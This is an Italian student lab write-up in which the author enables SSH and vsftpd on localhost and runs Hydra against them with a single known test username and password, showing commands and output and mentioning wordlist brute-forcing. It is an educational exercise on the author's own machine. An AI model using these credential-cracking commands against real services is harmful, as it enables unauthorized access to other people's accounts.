

## Traccia

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

Esso si svilupperà in due fasi:

- Una prima fase dove vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione.
- Una seconda fase dove dovremo configurare e craccare un qualsiasi servizio di rete.

## Svolgimento

Per prima cosa ho creato un nuovo utente per i test: nome *test\_user*, password *testpass*.

Successivamente ho avviato il servizio ssh con il comando: *sudo service ssh start*.

Per avviare Hydra il comando è il seguente.

```
francesco@kali:~$ hydra -l test_user -p testpass 127.0.0.1 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 14:36:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -i to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), -1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 14:36:12
```

Lo switch *-l* (minuscolo), seguito da un nome utente, serve per passare come parametro ad Hydra il nome utente da provare, stessa cosa per lo switch *-p* per la password.

Come risultato ci darà la coppia username/password con cui è riuscito ad effettuare l'accesso.

Lo stesso comando si può effettuare passando come parametro, invece che un user ed una password, dei file con gli user e password più comuni, facendo così però, il tempo aumenta esponenzialmente.

Come ulteriore prova ho installato il servizio ftp, con il comando *sudo apt install vsftpd*. Per avviare il servizio il comando è *sudo service vsftpd start*.

Per avviare Hydra il comando è lo stesso, è sufficiente cambiare il protocollo di connessione.

```
francesco@kali:~$ hydra -l test_user -p testpass 127.0.0.1 ftp -t1
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 15:50:06
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), -1 try per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 15:50:07
```

Anche in questo caso è stata trovata la coppia username/password.